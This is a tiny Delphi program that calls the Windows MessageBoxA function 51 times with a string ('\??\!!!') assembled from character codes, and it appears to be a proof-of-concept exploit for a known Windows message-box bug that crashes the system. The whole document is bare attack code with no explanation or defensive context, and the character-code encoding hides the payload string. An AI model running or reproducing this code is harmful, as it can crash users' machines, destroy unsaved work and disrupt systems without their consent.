program Msg;

{$IMAGEBASE $200}

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
  external 'user32.dll' name 'MessageBoxA';

var
  Bug: PChar;
  I: Integer;
begin
  Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
  for i := 0 to 50 do
    MessageBox(0, Bug, Bug, $20000);
end.